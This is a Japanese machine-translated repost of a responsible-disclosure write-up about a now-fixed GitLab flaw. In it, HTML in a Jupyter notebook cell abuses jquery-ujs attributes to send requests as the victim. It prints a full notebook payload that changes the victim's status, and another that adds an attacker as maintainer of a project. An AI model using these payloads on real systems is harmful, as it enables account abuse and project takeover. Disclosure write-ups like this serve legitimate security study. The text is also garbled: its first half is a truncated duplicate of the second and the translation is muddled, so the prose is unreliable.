gitlabのセキュリティ脆弱性:Jupyterノートを通して任意の要求を送る
10404 ワード
GitLab ソフトウェア開発プロセスを管理するユーザー数百万をサポートするdevopsプラットフォームです.この一環として、GitLabはまた、リッチな表現のような機能を持つデータの科学者をサポートしていますJupyter ノートブック
からとられるイメージGitLab documentation .
ノートブック
Webベースのインタラクティブな開発環境を通じて、Jupyterノートブックは、簡単にデータサイエンスや計算ジャーナリズムのワークフローを共有することができます.
Pythonなどの異なるプログラミング言語は、小さな単位、いわゆるセルを組み合わせることによって、これらのワークフローを定義するために使用することができます.プログラミング言語に加えて、これらのセルもdisplay HTML .
GitLabのjupyterノートの豊かな表現がより多くのようなツールで制限されるけれども
GitlabにおけるJupyterノートの豊富な表現の利用
Hackerone上の既存のgitlabの脆弱性をブラウズしながら、私はOpenAPI specifications かつてはstored XSS vulnerability . これは、このタイプの脆弱性がGitLabの他のリッチな表現にも適用できるかどうか知りたいと思いました.それで、私はGitlabのJupyter Notebook Viewerをいじくり始めました、そして、報われました!
The vulnerability that I discovered , GitLabのJupyterノートブックビューアと使用の出力でSanitizationの不足を活用
Jupyterノートブックレンダリングのサニテーションの欠如
以下のJupyterノートブックをgitlabのペイロードとして保存します.
使用
HTMLのサニテーションの欠如は、それ自体の脆弱性ではありません.レンダリング
上記からの典型的なペイロードは、我々が非同期を製造したがっていることを指定します.
衝撃
被害者のステータスを変更しながら、GitLabのAPIの顔に被害者を偽造、限られた影響を持っている非常に有害なことができます.このように、次のペイロードを考慮して、攻撃者を希望するプロジェクトの管理者として命名します.
年表
私は責任をこの脆弱性をGitlabのバグ賞金プログラムを介して開示on HackerOne : [ 2020 - 08 - 30 ] Gitlabへの脆弱性を報告した [ 2020 - 08 - 31 ] exploitの簡素化でレポートを更新しました [ 2020 - 09 - 02 ]技術の詳細をフォローアップして報告書を更新しました GITLABは脆弱性を検証した Gitlabはバージョン14.3で脆弱性の修正を出荷しました
からとられるイメージGitLab documentation .
ノートブック
Webベースのインタラクティブな開発環境を通じて、Jupyterノートブックは、簡単にデータサイエンスや計算ジャーナリズムのワークフローを共有することができます.
Pythonなどの異なるプログラミング言語は、小さな単位、いわゆるセルを組み合わせることによって、これらのワークフローを定義するために使用することができます.プログラミング言語に加えて、これらのセルもdisplay HTML .
GitLabのjupyterノートの豊かな表現がより多くのようなツールで制限されるけれども
nbviewer
, HTMLを持つセルはまだgitlab上でレンダリングされます.GitlabにおけるJupyterノートの豊富な表現の利用
Hackerone上の既存のgitlabの脆弱性をブラウズしながら、私はOpenAPI specifications かつてはstored XSS vulnerability . これは、このタイプの脆弱性がGitLabの他のリッチな表現にも適用できるかどうか知りたいと思いました.それで、私はGitlabのJupyter Notebook Viewerをいじくり始めました、そして、報われました!
The vulnerability that I discovered , GitLabのJupyterノートブックビューアと使用の出力でSanitizationの不足を活用
jquery-ujs
, NPMパッケージused in GitLab , 道具として.Jupyterノートブックレンダリングのサニテーションの欠如
以下のJupyterノートブックをgitlabのペイロードとして保存します.
{
"cells": [
{
"metadata": {},
"cell_type": "markdown",
"source": ["<a data-method=\"put\" data-params=\"message=p0wn3d\" data-remote=\"true\" href=\"/api/v4/user/status\" style=\"background-color: rgba(0, 0, 0, 0); border: 0; cursor: default; height: 100%; left: 0; position: absolute; top: 0; width: 100%; z-index: 1000\" />"]
}
],
"metadata": {
"kernelspec": {
"name": "python3",
"display_name": "Python 3",
"language": "python"
},
"language_info": {
"name": "python",
"version": "3.6.10",
"mimetype": "text/x-python",
"codemirror_mode": {
"name": "ipython",
"version": 3
},
"pygments_lexer": "ipython3",
"nbconvert_exporter": "python",
"file_extension": ".py"
}
},
"nbformat": 4,
"nbformat_minor": 2
}
含まれるHTMLを強制的に出力します.<a
data-method="put"
data-params="message=p0wn3d"
data-remote="true"
href="/api/v4/user/status"
style="background-color: rgba(0, 0, 0, 0); border: 0; cursor: default; height: 100%; left: 0; position: absolute; top: 0; width: 100%; z-index: 1000"
/>
これは単に目に見えないリンクですが、スタイリングは、ユーザーの最初のクリック時にリンクをトリガJupyterノートブックビューアの上に層を作成します.使用
jquery-ujs
HTTPリクエストを送信するにはHTMLのサニテーションの欠如は、それ自体の脆弱性ではありません.レンダリング
data-*
属性は、jquery-ujs
この脆弱性を発見した時点でgitlabが使用した.NPMパッケージはHTTPリクエストをリンクから作ることができます.<a>
HTML要素data-*
属性.上記からの典型的なペイロードは、我々が非同期を製造したがっていることを指定します.
data-remote="true"
) PUT
リクエスト(つまり、data-method="put"
) to https://gitlab.com/api/v4/user/status
(つまり、href="/api/v4/user/status"
) パラメータ付き{'message': 'p0wn3d'}
(つまり、data-params="message=p0wn3d"
). つまり、被害者のプロフィールの状態をp0wn3d
.衝撃
被害者のステータスを変更しながら、GitLabのAPIの顔に被害者を偽造、限られた影響を持っている非常に有害なことができます.このように、次のペイロードを考慮して、攻撃者を希望するプロジェクトの管理者として命名します.
<a
data-method="put"
data-params="user_id=<ATTACKER_ID>&access_level=40"
data-remote="true"
data-url="/api/v4/projects/<PROJECT_ID>/members"
style="background-color: rgba(0, 0, 0, 0); border: 0; cursor: default; height: 100%; left: 0; position: absolute; top: 0; width: 100%; z-index: 1000"
/>
どこ<ATTACKER_ID>
は、gitlabと<PROJECT_ID>
はGITLABプロジェクトのIDになります.年表
私は責任をこの脆弱性をGitlabのバグ賞金プログラムを介して開示on HackerOne :
Reference
この問題について(gitlabのセキュリティ脆弱性:Jupyterノートを通して任意の要求を送る), 我々は、より多くの情報をここで見つけました https://dev.to/dnlfrst/security-vulnerability-in-gitlab-sending-arbitrary-requests-through-jupyter-notebooks-9j2テキストは自由に共有またはコピーできます。ただし、このドキュメントのURLは参考URLとして残しておいてください。
Collection and Share based on the CC Protocol